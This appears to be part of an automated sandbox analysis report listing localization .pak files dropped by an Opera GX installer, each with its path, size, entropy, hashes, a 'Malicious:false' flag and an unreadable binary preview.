                                                                                                                                                                                                              Preview:.........(..e. ...g.(...h.-...i.>...j.J...k.Y...l.d...n.l...o.q...p.~...q.....r.....s.....t.....v.....w.7...y.^...z.....|.....}.........................".....*.....1.....8.....?.....@.....A.....C.....S.....d.....v.......................8.....U...........<.....|...........$.................%.................T.....}...........1.....].....m...........A.....|...................................x...........%.....I...........'.....f.....x...........P.........................................z .....!....f!.....!.....!....K"....|"....."....."....E#....o#.....#.....#....K$.....$.....$.....$....c%.....%.....%.....&....z&.....&.....&.....'....u'.....'.....'.....(....b(.....(.....(.....(....a).....).....)....(*.....*.....+....#+.....+.....+.....,....5,....{,.....,.....,.....-....h-.....-..........-...........8/...../...../.....0....c0.....0.....0.....1.....1.....1.....1....a2.....2.....3....33.....3....14.....4.....4.....5.....5.....5.....5.....6.....7....O7....h7.....7.....8....D8....X8.....8....D9

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\localization\hi.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1157553
                                                                                                                                                                                                              Entropy (8bit):4.415610261206238
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:3072:wmXUsJR9stCanHyBYzyodZfkjNMV/BB0ZV1d1Y/6OxEIOG8Ut0bJ2cME/uQYVWmd:xks5s5XzyodZfiNdXKaiiNlM
                                                                                                                                                                                                              MD5:3B7FC6F726CC009ABE34BCD569DE5944
                                                                                                                                                                                                              SHA1:7F8DF4B7396B721707035528176C4AC737B62A14
                                                                                                                                                                                                              SHA-256:D5C477647B5C8EC908DF97B837DB34EEBE5BE9964CB10BCF17FC50F34D7F4A4B
                                                                                                                                                                                                              SHA-512:6185144DACD45AD1B4EC58C13A486B29166C2705E99F3AB3AAB4CE5D7EEAD621479EE0AFB2550EB4D4347F663B11B7BB98DF0F7C7EDEFFD2B9AB7B3AFF1CE11C
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........ (..e.F...g.N...h.S...i.d...j.p...k.....l.....n.....o.....p.....q.....r.....s.....t.....v.1...w.]...y.....z.....|.....}.......3.....8.....@.....H.....P.....W.....^.....e.....f.....g.....i.............................S.....g.....-.....k.....g.....K.................>.....s.....M.................e...........#.................. ....4 ..... ....x!.....!.....".....".....#.....#....1$....V%....:&.....&.....&.....'.....(.....(....%).....*.....*....:+....i+....t,....Y-.....-....$.....n/....k0....!1....d1....52.....2....;3....e3.....4.....4....#5....N5.....5....}6.....6.....6.....7....i8.....8.....9.....9....x:.....:.....:.....;....P<.....<.....<....b=.....>....`>....y>....8?.....?....J@....i@....vA....gB.....B....*C.....C.....D.....D.....E.....E....&F....YF....~F....>G.....G....`H.....H....zI..../J.....J.....K.....K....OL.....L.....L.....M.....N....)O....[O....^P.....Q.....Q.....Q....FS....~T....hU.....U.....V....wW.....W....;X....vY....XZ.....Z....B[....6\.....\....a].....].....^....q_

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\localization\hr.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):540044
                                                                                                                                                                                                              Entropy (8bit):5.541841671305591
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:3072:upEaQmfDgdER8twelLav1wQCaBV08LuaIGhVrc0BYK2hsn4nVF6gQAi8eD45GBiL:bGDgW2OocwQXvYt/cgzChtwRB2T8CzSF
                                                                                                                                                                                                              MD5:FC4B840CDD3B1EA60752832558C1D362
                                                                                                                                                                                                              SHA1:B8149A098C3D21EDAA845DF2A93AB47D2CEFA535
                                                                                                                                                                                                              SHA-256:6F7A99B1E3CF0DAA9EC5CD6FE0C0A9367F5C765856370268D0B3C0853CF90695
                                                                                                                                                                                                              SHA-512:5E1105A6567B34403F06F744F67B4858C589045F71885377A2ED46BA64E8E8F696529D2E28232D2F376DBE82E71F3FF3F80A514BED7AE61E6C7D10AAE4783A9D
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........@(}.e.....g.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.%...t.<...v.q...w.....y.....z.....|.....}.J.....s.....x...................................................................................~...........l.................X.................).......................w.........................................*.............................~.................2.........../.......................q.................1.......................S.................-...........F ..... ..... ....+!....|!.....!.....!....."....V"....x".....".....".....#....<#....L#.....#.....$....F$....[$.....$.....%....8%....G%.....%.....&....J&...._&.....&.....'....2'....B'.....'.....'.....(....*(.....(.....)....e).....).....).... *....B*...._*.....*.....+....%+....E+.....+.....+.....,....2,.....,.....-....W-.....-.....-....3.....X.....n...........;/....m/...../.....0....g0.....0.....0...._1.....1....:2....L2.....2....43....r3.....3.....3....Y4.....4.....4.....4....65....T5....f5.....5....B6

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\localization\hu.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):578218
                                                                                                                                                                                                              Entropy (8bit):5.655931948783749
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6144:L1cL4E9xLNfHRAxAGKXtxB/ekMH9svQdpE8/3ICKHlV++kithO5qizTZ9pA7JIQB:L1cxLNJ/j5MdkrO5qiz2XIPIv
                                                                                                                                                                                                              MD5:C949E8CDDDE16FFA037AF1C27C8E7D85
                                                                                                                                                                                                              SHA1:09F201C50BE4DE57A5499F2ACE79EF00D1DE6915
                                                                                                                                                                                                              SHA-256:83EFE651E80C7659A510B8D3B40E2C29F47EB62598AFF7A451B26BBB985C7509
                                                                                                                                                                                                              SHA-512:F3EC13123A371786ABEF1E79884A485C567A4B9C738CFDA5B977565BFB77B97A8E79F8C60B4102CFD7A085EF7229BB3C05447E45707409265646B0C2A07397EC
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.........'..e.....g.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.A...t.X...v.....w.....y.....z.....|.5...}.f.....................................................................................................}.............................K.....^...........b.................^.................&.................'.....8.................G.....h...........h.................r...........W.....{...........a................. .......................r...........5 ....O ..... ....r!.....!.....!....[".....".....#....,#.....#.....$....+$....C$.....$.....%....F%....^%.....%.....&.....&.....&....T'.....'....*(....@(.....(....K).....).....).....*.....*.....*.....*....Y+.....+....-,....A,.....,....V-.....-.....-....".......................I/...../...../...../...._0.....0.....1.....1.....1.....2....h2.....2.....3....T3....x3.....3.....3....S4.....4.....4....'5.....5.....5.....5.....6....+7.....7.....7....Q8.....8....!9....U9.....9....d:.....:.....:....7;.....;.....;.....;....p<.....<

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\localization\id.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):490066
                                                                                                                                                                                                              Entropy (8bit):5.410357763617584
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6144:8OPba2DmKfD0BVJ+84VQMEOplOBHtmyH1112ZIIIILK5EB:8Yba2xoJ+5VQ5Opy1WZIII54
                                                                                                                                                                                                              MD5:F61B1D579D8957DC049D9071E13EE6BE
                                                                                                                                                                                                              SHA1:F390813CA6696B3B155AC5EF426FEABE37000BBB
                                                                                                                                                                                                              SHA-256:4FD16662923AAEAC99A15FA1580702D06B03AD6FC8C9533460EDFDA0A682C8C2
                                                                                                                                                                                                              SHA-512:E5F7C0730AFB2A8CAA0AE3B5CB14AC89AAF2789AAD1AFA14E89980ACEC3EAA4D55330987E7DADF699C873B152ACB9C046548B99B1E4E08AD237C876D6D957BC2
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.........(..e.....g. ...h.%...i.6...j.B...k.Q...l.\...n.d...o.i...p.v...q.|...r.....s.....t.....v.....w./...y.V...z.....|.....}...............................".....).....0.....7.....8.....9.....;.....I.....[.....k.....}...........c.......................d.......................d.................%.....~.................(.....y.......................J.....k.................A.....p.................L.....~.................8.....b.....o.................D.....Q.................R.....e...........@.............................8.....I.............................[.......................4 ..... ..... ..... .....!....l!.....!.....!.....!....D"....p"....z".....".....#....J#....V#.....#.....$....6$....C$.....$.....$....-%....?%.....%.....%.....%.....%....B&.....&.....&.....&.....'....`'.....'.....'.....'....D(....u(.....(.....(.....)....5)....C).....).....)....#*....2*.....*.....*....*+....C+.....+....;,.....,.....,.....-....m-.....-.....-....$.....t.......................;/....Z/....j/...../....)0

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\localization\it.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):540748
                                                                                                                                                                                                              Entropy (8bit):5.311598128128309
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6144:imriYkveM1ILfMsFK5kG+baqw7rBkPI4Pyy5kxAjVTdB5mY+IzMuZLNzubWqRT9H:XrZC1ePIODtyZTE8MTcHT9h
                                                                                                                                                                                                              MD5:662A7B2AE951287F1FAA28E4A36A2507
                                                                                                                                                                                                              SHA1:6EB705A295C7E6A22B10E02831D27DAB2CD9A095
                                                                                                                                                                                                              SHA-256:81023694747CD67B66A153A106661EE590CED0055FA9A9018A36739798A9EF5F
                                                                                                                                                                                                              SHA-512:EC089E01429B76D432775F1A5E0DE07C5C9E36B5664E5F6382F123BB589F498B20150683A0C72C12CDF8F29518293354C484D8385E535FBB0FF9C3438CA7BA3A
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.........(..e.....g.....h.....i.$...j.0...k.?...l.J...n.R...o.W...p.d...q.j...r.v...s.....t.....v.....w.....y.D...z.r...|.....}.................................................%.....&.....'.....).....<.....P.....i.....z.......................(................./.....@...........8.................H.................%.....u.......................D.......................G...................................\.................P.......................g.................+.......................u...........< ....Z ..... .....!....4!....R!.....!.....!....."....$"....n"....."....."....."....Q#.....#.....#.....$....Y$.....$.....$.....$....9%.....%.....%.....%.....&....[&.....&.....&.....&....7'....h'....s'.....'....Z(.....(.....(.....)....d).....).....).....).....*....5*....K*.....*.....*....%+....:+.....+.....,....],.....,.....,....;-....a-....v-.....-..........<.....O...........4/...../...../....<0.....0....,1....C1.....1....=2.....2.....2....43.....3.....3.....4....O4.....4.....4.....4....15.....5

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\localization\ja.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):648412
                                                                                                                                                                                                              Entropy (8bit):5.830017576249559
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6144:0enZV3+RAR8zR/3NWRVHXqwdWvQFszIQj3u:0en4TBNnwdWv/zxj3u
                                                                                                                                                                                                              MD5:4016C1EE5245A6C468BFF803A843B2A0
                                                                                                                                                                                                              SHA1:EB51F1D2ED3B218FE759D926068B63CC4D68DA31
                                                                                                                                                                                                              SHA-256:02939856B72422363BEFE5C69C91466FBBC6FA9BFB5122295538A5B07E8A6600
                                                                                                                                                                                                              SHA-512:1807F92139AAAA1FBEB167ABF647FBA08A3089BF28EF4E8B1119736F4A4DE73B5FCCCD7DACCADFEA70E64916F5BFA1B40C5A8B58C11A4F15C38C8D533267EF3F
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........J's.e.....g.....h.....i.....j.....k.....l.....m.....o.>...p.K...q.Q...v.]...w.....y.....z.....|.....}.6....._.....d.....l.....w.............................................................................<..........._.................N.............................E.................y.....$.................9.......................Z...................................1.....V...........e.................=.......................].......................{...........#.....2...........y ..... ..... ....`!.....!.....!.....!....."....."....<#....W#.....#....j$.....$.....$....y%.....&....e&.....&.....'.....'.....'.....'....h(.....(....()....:).....)....%*....a*....p*.....*....{+.....+.....+....},.....-....m-.....-............................_/...../...../.....0.....0.....1....Z1....x1.....2.....2.....2.....3....o3.....3.....3.....3.....4.....4....:5....U5.....5....*6....d6....z6...."7.....7....*8....?8.....8....X9.....9.....9....`:.....:.....;....@;.....;.....<....g<.....<.....=.....=.....=

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\localization\ko.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):545271
                                                                                                                                                                                                              Entropy (8bit):6.172969465246002
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:12288:x7sePF2wO7dqrQh9K51kpUB1RrOejLUkPGkist4TxRScG0G1zRXhwUwmog5XdKV4:x7XiKmILM8
                                                                                                                                                                                                              MD5:73C143076829A29B49819677EE3E5538
                                                                                                                                                                                                              SHA1:7E6EFDF8D7C440DFC4FA5D3CD35857F6C9B65089
                                                                                                                                                                                                              SHA-256:C3A71940667CBC65FB894613B81CB0118CF9E4103940A6B18AB42E9ACFB08E8A
                                                                                                                                                                                                              SHA-512:35CC213E763F8E308C5FD52C13F60423678F1027D824917537769A980DD4CA68EAD0F2EA008456C73D37566CAD3671BBCC446B42B36853F017B8F944543C4E1B
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........)'..e.X...g.`...h.e...i.v...j.....k.....l.....m.....o.....p.....q.....r.....s.,...t.C...y.x...z.....|.....}.......'.....,.....4.....?.....G.....V.....[.....b.....i.....k.....p.....|.......................7...................................).....<........... .....f.....z...........J.......................^.......................b.......................t.................&.......................?.......................3.......................2.......................h...........+.....B......................./.............................b.......................b ..... .....!....#!.....!.....!....."....+"....."....."....&#....9#.....#.....#....%$....5$.....$.....$....$%....4%.....%....)&....r&.....&.....&....4'....U'....o'.....'..../(....W(....u(.....(....:)....`)....s).....)....f*.....*.....*....$+....a+....u+.....+.....+....B,....l,.....,.....,....6-....i-.....-............................G/...../...../...../....h0.....0.....0.....1....]1.....1.....1.....1....R2.....2.....2.....2

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\localization\lt.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):577118
                                                                                                                                                                                                              Entropy (8bit):5.651649413135826
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6144:AMQn1z+WThGb3IGuJiQbl2RnYVR9OZ6S+2IC5Cya566xH+rIRliI2A:LQn1z+WBGsiQbfVR9e6ShQya55HhGI2A
                                                                                                                                                                                                              MD5:E06E1CC2E8A9994D832D801A5ECA7DF2
                                                                                                                                                                                                              SHA1:C3D2CD60CEA4BA7D00ED67FDDAB3721BE155A534
                                                                                                                                                                                                              SHA-256:942352FD0A6DCE7150DB2F6052AF2C40A035B9035939170BFB42050F27CDF432
                                                                                                                                                                                                              SHA-512:B48129992C15CE4C0B9B544BBD198801704C8AE9E2F0F2A4055CFBAF51C683383561FA1F5C24308C705F823EAD42A6FB69E0C76DE369F5A2A1621A410244BED2
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.........(..e.....g.....h.)...i.:...j.F...k.U...l.`...n.h...o.m...p.z...q.....r.....s.....t.....v.....w.3...y.Z...z.....|.....}...............................&.....-.....4.....;.....<.....=.....?.....M.....i.....}.......................+.....F...........\.................V...........0.....J...........A.....y...................................J...................................K.....p.............................[...................................D.....T...........l ..... ..... ....]!.....!....;"....Y"....."....;#....b#....}#.....#....`$.....$.....$.....%.....%.....%.....%....N&.....&.....'.....'.....'.....(....M(....\(.....(....Z).....).....)....&*.....*.....*.....*....\+.....+.....,.....,.....,....K-.....-.....-..../.......................}/.....0....:0....b0.....0....T1.....1.....1....42.....2.....2....$3.....3.....3.....4....04.....4....W5.....5.....5....J6.....6.....7....57.....7....z8.....8.....8....m9.....9..../:....O:.....:.....;.....;.....;....1<.....<.....<.....<....Q=.....=

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\localization\lv.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):575553
                                                                                                                                                                                                              Entropy (8bit):5.6577540466125225
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6144:FB17ayvW528cXPS03RIFn/dTRT53ePqrkRIbXMPKUj0rNMtVFLdyAREodqmiG8fL:7/v+Fn/dTB5xriPKUjl8Ikp
                                                                                                                                                                                                              MD5:7B1B95A1F38EB80C939B9D6FE808D59C
                                                                                                                                                                                                              SHA1:65D82799E4383D755F5139744946FB9CAF6F1710
                                                                                                                                                                                                              SHA-256:194F5FDE2ED34BFA990303D3F77AF7D054C8F1ACA8DE01E2CFB50666EE917211
                                                                                                                                                                                                              SHA-512:F01F9C7695B8EC02D2AFF6EA9FA116D0D2148BA826A2A34D232B98166E6DFC321E25C15C0B5EA7F8170A8B73F4E3C4C2D41368777A5DB98418969B20FEDE5E07
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........2(..e.j...g.r...h.w...i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t. ...v.U...w.....y.....z.....|.....}.......W.....\.....d.....l.....t.....{.................................................................9...............................................-.....|...................................d...........$...../...........$.....\.....n...........^.................O...........G.....k...........l.................*.................. ..... ....'!....o!.....!.....".....".....#....,#.....#.....#.....$....3$.....$.....%....)%....;%.....%.....&....5&....I&.....&....Z'.....'.....'.....(.....(.....(.....(....E).....).....*.....*....x*.....*....-+....>+.....+....6,....q,.....,.....-.....-................u................../...../.....0....G0....g0.....0....61....[1....j1.....1.....2.....2.....3....d3.....3.....3.....4.....4.....5....D5....]5.....5....[6.....6.....6....U7.....8....z8.....8.....9.....9.....9.....9...._:.....:....!;....1;.....;.....<.....<....@<.....<....W=

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\localization\ms.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):505822
                                                                                                                                                                                                              Entropy (8bit):5.304546782478332
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6144:v94OecpoZt+miqEyGC90WLslwxMikle+sP88G:a5n+qbGCSwxE+Eb
                                                                                                                                                                                                              MD5:DBD4E548ECAE5165E0DB164EC0EE7559
                                                                                                                                                                                                              SHA1:5726CB751E08735CF648A0E29825D70D4E455A5B
                                                                                                                                                                                                              SHA-256:9C1401C4DAC24074C39CEC8614D5C38342DB3B473B1513A7AEEA8C29F96D1D03
                                                                                                                                                                                                              SHA-512:973D06565A125BC52EE2AC331AB39399245C727ACD726CE2E3D0FA946BEE29ABC55E2062E7F805A95D00B7500256467536730BCCB4BF38C77B23E7DAECA85518
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.........(..e.....g.....h.....i.....j.+...k.:...l.E...n.M...o.R...p._...q.e...r.q...s.....t.....v.....w.....y.?...z.m...|.....}................................................. .....!.....".....'.....:.....O.....i...................................c.......................w...........#.....9.................T.....l.................G.....Z.................;.....L.................C.....f...........Q.......................T.......................3.....^.....i...........+.....b.....s...........d.......................Z.....u.................& ....K ....W ..... ..... .... !....,!.....!.....!....-"....>"....."....."....0#....:#.....#.....#....#$....-$.....$.....$.....%.....%....q%.....%.....&.....&.....&.....&....8'....K'.....'.....'.....(....1(.....(.....(.....(.....)....e).....).....).....)....K*.....*.....*.....*....;+....z+.....+.....+.....,...._,.....,.....,.....-....l-.....-.....-....C............/...../...../...../....)0....D0.....0.....0....)1....61.....1.....1.....1.....1....W2.....2

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\localization\nb.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):494087
                                                                                                                                                                                                              Entropy (8bit):5.459777882610362
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:12288:7M7G5701bjrmJVqwughOYug4RUlKVOceCe:MG5Y1bjiJifDUwcceJ
                                                                                                                                                                                                              MD5:F3561C9D11AC3864605A6967A4E500F2
                                                                                                                                                                                                              SHA1:4F203FCCB808CB11EB91D2AE8786AF9AEEA6B50D
                                                                                                                                                                                                              SHA-256:B1DF69F2AEE25EC1B39A904DE090BB99EA19A9DF76878EEEE8096200C557B8E5
                                                                                                                                                                                                              SHA-512:87F1F7E2E2D9DE77E9B83B6540CDD8D39C9C809E2859E873BF41CDC8CC7102AAE3E63E5618FC8351C95BCD552DEB6A256DD4DC998EFB88C0986B764E21795724
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.........(..e.....g.....h.....i.0...j.<...k.K...l.V...n.^...o.c...p.p...q.v...r.....s.....t.....v.....w.)...y.P...z.~...|.....}.....................................#.....*.....1.....2.....3.....5.....@.....T.....g.....~.............................]...................................l.................N.....~.................K.....u.................8.....a.....p...........@.....p.................u.................^...........+.....J...........$.....\.....p...........p.................k...........H ....j ..... ..... .....!....%!....{!.....!.....!....."....^"....."....."....."....G#.....#.....#.....#....]$.....$.....$.....$...._%.....%.....%.....&....]&.....&.....&.....&....O'.....'.....'.....'....^(.....(.....)....3).....).....).....*.....*....v*.....*.....*.....+....Y+.....+.....+.....+....`,.....,.....-....D-.....-.....-..........7............/....0/....H/...../.....0....H0....\0.....0....71....s1.....1.....2.....2.....2.....3....m3.....3.....3.....4....W4.....4.....4.....4....:5.....5

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\localization\nl.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):510339
                                                                                                                                                                                                              Entropy (8bit):5.389508156432673
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6144:4EyGuw7C8Sg/z0U8zKKCqqJlnTWsoTGRl5zAIKn4ro5C3:4tw7b0U8zKKCqqJlT/oTGRl5cIKgo5M
                                                                                                                                                                                                              MD5:F7FB62F34765AA3ED63B1863E3A5A1CC
                                                                                                                                                                                                              SHA1:B424149F9A90A5F29A5BBD46ECA1159FB8CC8412
                                                                                                                                                                                                              SHA-256:7D2E93C0E21A3A3A6BA6D4B50AF2DF385876CDCDA7535C9FD27380200E5E1733
                                                                                                                                                                                                              SHA-512:B97A4A2354B30AFBB4FC859CBDFE1E6AD593CD2DB2599DAE637940C26CA1ED87DF329EEAF6C9AF3EB50FFD50A3B4A51D52353F2B1E4C992989A1173624E25185
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.........(..e.*...g.2...h.7...i.H...j.T...k.c...l.n...n.v...o.{...p.....q.....r.....s.....t.....v.....w.A...y.h...z.....|.....}...................$.....,.....4.....;.....B.....I.....J.....K.....M.....Y.....s.................-.................2.................>.....R...........9.....~.................a.......................Y.......................=.....e.....s...........K.......................{.................2.......................;.......................].................&.................e.....~............ ....A ....U ..... ..... .....!...."!....w!.....!.....!....."....f".....".....".....#....h#.....#.....#.....#....M$.....$.....$.....$....*%.....%.....%.....%.....&....t&.....&.....&....*'.....'.....'.....'....L(.....(.....(.....(....=).....).....).....).... *....v*.....*.....*....$+.....+.....+.....+....@,.....,.....,.....,...."-....}-.....-.....-....A.......................x/...../....N0...._0.....0....M1.....1.....1....!2.....2.....2.....2.....3....h3.....3.....3.....4....^4

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\localization\pl.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):558438
                                                                                                                                                                                                              Entropy (8bit):5.765460774686459
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:12288:GAcG9mkCCrz47WzKPEWoOBCB5fQfuzSJu6HCSbqePlCUdXUe3msRpvYfIPMsuCZt:GA7/1RUMc
                                                                                                                                                                                                              MD5:FA99653B4965F50A9AE34B5B7F401E09
                                                                                                                                                                                                              SHA1:979FA0973DB844BC34DA306AB28CDF5A92852BD3
                                                                                                                                                                                                              SHA-256:DB63500AB5BC4975E03B61131B5B9F8A378C25E8134266F5CBD251401F650795
                                                                                                                                                                                                              SHA-512:08DB31338C4E902AB571C1F4569BD80A705D54E6385CFDD669201D4C15389C8863643385EBDB068E6C9CC83387420A5F71456A169A550CE8D57C46369F4713E4
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.........(..e.....g.....h.....i.....j.8...k.G...l.R...n.Z...o._...p.l...q.r...r.~...s.....t.....v.....w.%...y.L...z.z...|.....}...........................................&.....-.........../.....1.....@.....W.....l.............................%.................-.....@...........U.......................}.................7.......................0.......................Q...................................Q.....v...........@.....x.................U.................".............................. ....l ..... ..... ....,!....A!....b!.....!.....!....."....."....w"....."....."....."....W#.....#.....#.....$....e$.....$.....$.....%....a%.....%.....%.....%....R&.....&.....&.....&....B'.....'.....'.....'....Y(.....(.....)....3).....).....).....).....*....a*.....*.....*.....*....M+.....+.....+.....+....o,.....,.....-....H-.....-.....-.....-..........{................../...../...../....30....M0.....0....@1.....1.....1....-2.....2.....2.....3....k3.....3.....3.....4....H4.....4.....4.....4....,5.....5

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\localization\pt-BR.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):532000
                                                                                                                                                                                                              Entropy (8bit):5.448550812570039
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6144:O0vgTgpiuRZWGpXCmFsIsRSfL/NBXBL9f/nDWOP9H9:OwdX/XGIsRWH
                                                                                                                                                                                                              MD5:4EB3098BC926CED6D0997D38413BD73F
                                                                                                                                                                                                              SHA1:202CB501EDC438EBD3ABF3004D39F32E52298974
                                                                                                                                                                                                              SHA-256:B547C140A0D874F701038AC286246105FCEACF3EE9D78E6D5F7817267B85DD30
                                                                                                                                                                                                              SHA-512:0CDC6E871EB07CA3250FBC74C8E5695C605E3E8CAB1F348F05C0C551FEE612C12E8D5CC700F71C25A7EB071A9FF867DEB6DBB087AB2DE3A5C2F6A50C25FD6DE7
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
